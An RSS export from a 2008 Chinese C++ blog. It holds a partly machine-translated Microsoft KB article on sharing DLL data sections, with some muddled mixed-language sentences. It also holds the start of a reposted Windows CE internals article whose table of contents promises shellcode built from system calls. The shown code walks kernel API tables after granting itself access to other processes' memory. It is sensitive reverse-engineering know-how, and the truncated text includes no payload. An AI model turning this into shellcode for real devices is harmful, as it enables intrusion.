﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-井泉-随笔分类-c code</title><link>http://www.cppblog.com/zjj2816/category/2050.html</link><description /><language>zh-cn</language><lastBuildDate>Wed, 29 Oct 2008 07:00:47 GMT</lastBuildDate><pubDate>Wed, 29 Oct 2008 07:00:47 GMT</pubDate><ttl>60</ttl><item><title>如何共享 DLL 中的所有数据 微软support</title><link>http://www.cppblog.com/zjj2816/archive/2008/10/28/65332.html</link><dc:creator>井泉</dc:creator><author>井泉</author><pubDate>Tue, 28 Oct 2008 07:07:00 GMT</pubDate><guid>http://www.cppblog.com/zjj2816/archive/2008/10/28/65332.html</guid><wfw:comment>http://www.cppblog.com/zjj2816/comments/65332.html</wfw:comment><comments>http://www.cppblog.com/zjj2816/archive/2008/10/28/65332.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/zjj2816/comments/commentRss/65332.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/zjj2816/services/trackbacks/65332.html</trackback:ping><description><![CDATA[<div class="section">
<h2 class="subTitle" id="tocHeadRef">概要</h2>
<script type="text/javascript">loadTOCNode(1, 'summary');</script>
<div class="sbody">  Win 32 动态链接库 (DLL) 默认，这意味着使用 DLL 的每个应用程序获取它自己的 DLL 的数据的副本的情况下使用实例数据。 但是，就可以共享 DLL 数据之间所有使用该 DLL 的应用程序。  <br><br>  如果您需要共享仅部分 DLL 数据，Microsoft 建议创建一个新的节和而共享它。        如果您想共享的所有 DLL 静态数据，非常重要做两件事情：
<table class="list ul">
    <tbody>
        <tr>
            <td class="bullet">&#8226;</td>
            <td class="text">第一次，DLL 必须使用 C 运行时的 DLL 版本 （例如 Crtdll.lib 或 Msvcrt.lib）。 请参阅您的产品文档更多有关使用 C 运行时 DLL 中。<br><br><strong> 注意： </strong>
            Crtdll.lib 不再 SDK，从 Windows NT 3.51 开始的一部分。 上次发布年 4 月 1995 年上的 MSDN 3.5
            SDK。 Win 32 现在要求用户指定的由他们自己的编译器 vender 提供的 C 运行时 LIBs 他们自己的版本。 </td>
        </tr>
        <tr>
            <td class="bullet">&#8226;</td>
            <td class="text">第二个，您需要指定.data 和.bss 共享。     通常，这样.def 文件的"SECTIONS"部分中。 例如： <code></code>
            <pre class="code">   SECTIONS<br>      .bss  READ WRITE SHARED<br>      .data READ WRITE SHARED<br>						</pre>
            如果您要使用 Visual C++ 32-bit Edition，您必须指定此使用链接器上的部分开关。 例如： <code></code>
            <pre class="code">link -section:.data,rws -section:.bss,rws<br>						</pre>
            </td>
        </tr>
    </tbody>
</table>
只有静态数据被共享。 用对作为 GlobalAlloc() 和 malloc() 这样的 API / 函数的调用动态分配的内存是仍然特定于调用进程。  <br><br>  系统试图加载每个进程中相同的地址处共享的内存块。 但是，如果块不能将加载到相同的内存地址，系统将共享的分区映射到一个不同的内存地址。 仍在共享内存。 请注意该共享节内部指针无效在这种情况下并不能放共享各节中。  </div>
<h2 class="subTitle" id="tocHeadRef">更多信息</h2>
<script type="text/javascript">loadTOCNode(1, 'moreinformation');</script>
<div class="sbody">  C 运行时使用全局变量。 如果 CRT 是静态与该 DLL，链接这些变量将在 DLL 的所有客户端之间共享并将最有可能导致的异常 c 0000005。  <br><br>  您要同时指定.data 和.bss 为共享，因为它们每个保存不同类型的数据。 .data 部分包含初始化的数据，.bss 部分保存未初始化的数据。  <br><br>
for sharing in DLL all data one reason is to have in between Win32 DLL
(running on Windows NT) and Win32s consistent behavior (running on
Windows 3.1). when running on Win32s，32-bit DLL shares among all of
that use DLL processes its data。 <br><br>  请注意不需要共享所有数据 Win 32 和 Win32s 之间的行为完全相同。 DLL 可用于将变量存储为实例数据在 Win 32 线程本地存储 (TLS)。<br><br>  for additional information，please see following article in Microsoft Knowledge Base:
<div class="indent"><strong><a  href="http://support.microsoft.com/kb/109620/EN-US/" class="KBlink">109620</a><span class="pLink"> (http://support.microsoft.com/kb/109620/EN-US/)</span></strong> 在一个 Win 32 中创建实例数据 DLL  </div>
</div>
</div>
<div class="appliesTo"><hr>
<h5>这篇文章中的信息适用于:</h5>
<table class="list">
    <tbody>
        <tr>
            <td class="bullet">&#8226;</td>
            <td class="text">Microsoft Win32 Application Programming Interface&nbsp;当用于</td>
        </tr>
        <tr>
            <td class="textSub" colspan="2">
            <table class="list">
                <tbody>
                    <tr>
                        <td>&nbsp;</td>
                        <td>&nbsp;</td>
                        <td class="text">Microsoft Windows NT 4.0</td>
                    </tr>
                    <tr>
                        <td>&nbsp;</td>
                        <td>&nbsp;</td>
                        <td class="text">Microsoft Windows NT 3.51 Service Pack 5</td>
                    </tr>
                    <tr>
                        <td>&nbsp;</td>
                        <td>&nbsp;</td>
                        <td class="text">Microsoft Windows NT 4.0</td>
                    </tr>
                    <tr>
                        <td>&nbsp;</td>
                        <td>&nbsp;</td>
                        <td class="text">Microsoft Windows 95</td>
                    </tr>
                    <tr>
                        <td>&nbsp;</td>
                        <td>&nbsp;</td>
                        <td class="text">Microsoft Windows 98 Standard Edition</td>
                    </tr>
                    <tr>
                        <td>&nbsp;</td>
                        <td>&nbsp;</td>
                        <td class="text">  the operating system: Microsoft Windows 2000</td>
                    </tr>
                    <tr>
                        <td>&nbsp;</td>
                        <td>&nbsp;</td>
                        <td class="text">  the operating system: Microsoft Windows XP</td>
                    </tr>
                </tbody>
            </table>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p class="topOfPage"><a  href="http://support.microsoft.com/kb/109619/zh-cn#top"><img  src="http://support.microsoft.com/library/images/support/en-us/uparrow.gif" alt="">回到顶端</a></p>
<table>
    <tbody>
        <tr>
            <td class="header">
            <h5>关键字：&nbsp;</h5>
            </td>
            <td class="text">kbmt kbdll kbhowto kbipc kbkernbase KB109619 KbMtzh</td>
        </tr>
    </tbody>
</table><img src ="http://www.cppblog.com/zjj2816/aggbug/65332.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/zjj2816/" target="_blank">井泉</a> 2008-10-28 15:07 <a href="http://www.cppblog.com/zjj2816/archive/2008/10/28/65332.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Windows CE API机制初探 转</title><link>http://www.cppblog.com/zjj2816/archive/2008/08/14/58841.html</link><dc:creator>井泉</dc:creator><author>井泉</author><pubDate>Thu, 14 Aug 2008 07:36:00 GMT</pubDate><guid>http://www.cppblog.com/zjj2816/archive/2008/08/14/58841.html</guid><wfw:comment>http://www.cppblog.com/zjj2816/comments/58841.html</wfw:comment><comments>http://www.cppblog.com/zjj2816/archive/2008/08/14/58841.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/zjj2816/comments/commentRss/58841.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/zjj2816/services/trackbacks/58841.html</trackback:ping><description><![CDATA[--[ 目录<br><br>&nbsp;&nbsp;1 - Windows CE架构<br><br>&nbsp;&nbsp;2 - 列出所有系统API<br><br>&nbsp;&nbsp;3 - Windows CE的系统调用<br><br>&nbsp;&nbsp;4 - coredll.dll对API的包裹<br><br>&nbsp;&nbsp;5 - 用系统调用实现shellcode<br><br>&nbsp;&nbsp;6 - 小结<br><br>&nbsp;&nbsp;7 - 感谢<br><br>&nbsp;&nbsp;8 - 参考资料<br><br><br>--[ 1 - Windows CE架构<br><br>在
《Windows
CE初探》一文中已经介绍了KDataStruct的结构，这是一个非常重要的数据结构，可以从用户态的应用程序访问。其开始地址是固定的
PUserKData（在SDK中定义：Windows CE Tools\wce420\POCKET PC
2003\Include\Armv4\kfuncs.h），对于ARM处理器是0xFFFFC800，而其它处理器是0x00005800。偏移
KINFO_OFFSET是UserKInfo数组，里面保存了重要的系统数据，比如模块链表、内核堆、APIset
pointers表（SystemAPISets）。《Windows
CE初探》一文中通过模块链表最终来搜索API在coredll中的地址，本文我们将讨论一下UserKInfo[KINX_APISETS]处的
APIset pointers表。<br><br>Windows CE的API机制使用了PSLs(protected server libraries)，是一种客户端/服务端模式。PSLs象DLL一样处理导出服务，服务的导出通过注册APIset。<br><br>有
两种类型的APIset，分别是固有的和基于句柄的。固有的API
sets注册在全局表SystemAPISets中，可以以API句柄索引和方法索引的组合来调用他们的方法。基于句柄的API和内核对象相关，如文件、
互斥体、事件等。这些API的方法可以用一个对象的句柄和方法索引来调用。<br><br>kfuncs.h中定义了固有APIset的句柄索引，
如：SH_WIN32、SH_GDI、SH_WMGR等。基于句柄的API索引定义在PUBLIC\COMMON\OAK\INC\psyscall.h
中，如：HT_EVENT、HT_APISET、HT_SOCKET等。<br><br>SystemAPISets共有32个CINFO结构的APIset，通过遍历SystemAPISets成员，可以列出系统所有API。其中CINFO的结构在PRIVATE\WINCEOS\COREOS\NK\INC\kernel.h中定义：<br><br>/**<br>* Data structures and functions for handle manipulations<br>*/<br><br>typedef struct cinfo {<br>&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;acName[4];&nbsp;&nbsp;/* 00: object type ID string */<br>&nbsp;&nbsp;&nbsp;&nbsp;uchar&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; disp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* 04: type of dispatch */<br>&nbsp;&nbsp;&nbsp;&nbsp;uchar&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; type;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* 05: api handle type */<br>&nbsp;&nbsp;&nbsp;&nbsp;ushort&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cMethods;&nbsp;&nbsp; /* 06: # of methods in dispatch table */<br>&nbsp;&nbsp;&nbsp;&nbsp;const PFNVOID *ppfnMethods;/* 08: ptr to array of methods (in server address space) */<br>&nbsp;&nbsp;&nbsp;&nbsp;const DWORD *pdwSig;&nbsp;&nbsp;&nbsp;&nbsp;/* 0C: ptr to array of method signatures */<br>&nbsp;&nbsp;&nbsp;&nbsp;PPROCESS&nbsp;&nbsp;&nbsp;&nbsp;pServer;&nbsp;&nbsp;&nbsp;&nbsp;/* 10: ptr to server process */<br>} CINFO;&nbsp;&nbsp;&nbsp;&nbsp;/* cinfo */<br>typedef CINFO *PCINFO;<br><br><br>--[ 2 - 列出所有系统API<br><br>Dmitri Leman在他的cespy中有个DumpApis函数，略加修改后如下：<br><br>// DumpApis.cpp<br>//<br><br>#include "stdafx.h"<br><br>extern "C" DWORD __stdcall SetProcPermissions(DWORD);<br><br>#define KINFO_OFFSET&nbsp;&nbsp;&nbsp;&nbsp; 0x300<br>#define KINX_API_MASK&nbsp;&nbsp;&nbsp;&nbsp;18<br>#define KINX_APISETS&nbsp;&nbsp;&nbsp;&nbsp; 24<br><br>#define UserKInfo&nbsp;&nbsp;((long *)(PUserKData+KINFO_OFFSET))<br><br>//pointer to struct Process declared in Kernel.h.<br>typedef void * PPROCESS;<br>//I will not bother redeclaring this large structure.<br>//I will only define offsets to 2 fields used in DumpApis():<br>#define PROCESS_NUM_OFFSET&nbsp;&nbsp;0&nbsp;&nbsp;&nbsp;&nbsp;//process number (index of the slot)<br>#define PROCESS_NAME_OFFSET 0x20 //pointer to the process name<br><br>//Also declare structure CINFO, which holds an information <br>//about an API (originally declared in&nbsp;&nbsp;<br>//PRIVATE\WINCEOS\COREOS\NK\INC\Kernel.h). <br>typedef struct cinfo {<br>&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;acName[4];&nbsp;&nbsp;/* 00: object type ID string */<br>&nbsp;&nbsp;&nbsp;&nbsp;uchar&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; disp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* 04: type of dispatch */<br>&nbsp;&nbsp;&nbsp;&nbsp;uchar&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; type;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* 05: api handle type */<br>&nbsp;&nbsp;&nbsp;&nbsp;ushort&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cMethods;&nbsp;&nbsp; /* 06: # of methods in dispatch table */<br>&nbsp;&nbsp;&nbsp;&nbsp;const PFNVOID *ppfnMethods;/* 08: ptr to array of methods (in server address space) */<br>&nbsp;&nbsp;&nbsp;&nbsp;const DWORD *pdwSig;&nbsp;&nbsp;&nbsp;&nbsp;/* 0C: ptr to array of method signatures */<br>&nbsp;&nbsp;&nbsp;&nbsp;PPROCESS&nbsp;&nbsp;&nbsp;&nbsp;pServer;&nbsp;&nbsp;&nbsp;&nbsp;/* 10: ptr to server process */<br>} CINFO;&nbsp;&nbsp;&nbsp;&nbsp;/* cinfo */<br><br>#define NUM_SYSTEM_SETS 32<br><br>/*-------------------------------------------------------------------<br>&nbsp;&nbsp; FUNCTION: ProcessAddress<br>&nbsp;&nbsp; PURPOSE:&nbsp;&nbsp;<br>&nbsp;&nbsp; returns an address of memory slot for the given process index.<br>&nbsp;&nbsp; PARAMETERS:<br>&nbsp;&nbsp;&nbsp;&nbsp;BYTE p_byProcNum - process number (slot index) between 0 and 31<br>&nbsp;&nbsp; RETURNS:<br>&nbsp;&nbsp;&nbsp;&nbsp;Address of the memory slot.<br>-------------------------------------------------------------------*/<br>inline DWORD ProcessAddress(BYTE p_byProcNum)<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;return 0x02000000 * (p_byProcNum+1);<br>}<br><br>int WINAPI WinMain( HINSTANCE hInstance,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HINSTANCE hPrevInstance,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LPTSTR&nbsp;&nbsp;&nbsp;&nbsp;lpCmdLine,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nCmdShow)<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;FILE *fp;<br>&nbsp;&nbsp;&nbsp;&nbsp;DWORD l_dwOldPermissions = 0;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;if ( (fp = fopen("\\apis.txt", "w")) == NULL )<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 1;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;&nbsp;&nbsp;fprintf(fp, "Dump APIs:\n");<br><br>&nbsp;&nbsp;&nbsp;&nbsp;__try<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//Get access to memory slots of other processes<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;l_dwOldPermissions = SetProcPermissions(-1);<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CINFO ** l_pSystemAPISets = (CINFO **)(UserKInfo[KINX_APISETS]);<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(int i = 0; i &lt; NUM_SYSTEM_SETS; i++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CINFO * l_pSet = l_pSystemAPISets[i];<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!l_pSet)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;continue;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LPBYTE l_pServer = (LPBYTE)l_pSet-&gt;pServer;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf(fp,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"APIset: %02X&nbsp;&nbsp; acName: %.4s&nbsp;&nbsp; disp: %d&nbsp;&nbsp; type: %d&nbsp;&nbsp; cMethods: %d&nbsp;&nbsp; "<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"ppfnMethods: %08X&nbsp;&nbsp; pdwSig: %08X&nbsp;&nbsp; pServer: %08X %ls\n",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;i,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;l_pSet-&gt;acName,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;l_pSet-&gt;disp,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;l_pSet-&gt;type,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;l_pSet-&gt;cMethods,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;l_pSet-&gt;ppfnMethods,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;l_pSet-&gt;pdwSig,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;l_pServer,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;l_pServer? (*(LPTSTR*)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(l_pServer + PROCESS_NAME_OFFSET)) : _T("") );<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//If this API is served by an application - get it''s <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//address, if it is served by the kernel - use address 0<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DWORD l_dwBaseAddress = 0;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(l_pServer)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;l_dwBaseAddress = ProcessAddress<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(*(l_pServer + PROCESS_NUM_OFFSET));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//Add the base address to the method and signature <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//tables pointers<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PFNVOID * l_ppMethods = (PFNVOID *)l_pSet-&gt;ppfnMethods;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(l_ppMethods&nbsp;&nbsp;&amp;&amp; (DWORD)l_ppMethods &lt; 0x2000000)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;l_ppMethods = (PFNVOID *)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;((DWORD)l_ppMethods + l_dwBaseAddress);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DWORD * l_pdwMethodSignatures = (DWORD *)l_pSet-&gt;pdwSig;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(l_pdwMethodSignatures &amp;&amp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(DWORD)l_pdwMethodSignatures &lt; 0x2000000)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;l_pdwMethodSignatures = (DWORD *)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;((DWORD)l_pdwMethodSignatures + l_dwBaseAddress); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(l_ppMethods)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(int j = 0; j &lt; l_pSet-&gt;cMethods; j++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PFNVOID l_pMethod = l_ppMethods? <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;l_ppMethods[j] : 0;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(l_pMethod &amp;&amp; (DWORD)l_pMethod &lt; 0x2000000)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;l_pMethod = (PFNVOID)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;((DWORD)l_pMethod + l_dwBaseAddress);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DWORD l_dwSign = l_pdwMethodSignatures? <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;l_pdwMethodSignatures[j] : 0;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf(fp,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"&nbsp;&nbsp;meth #%3i: %08X sign 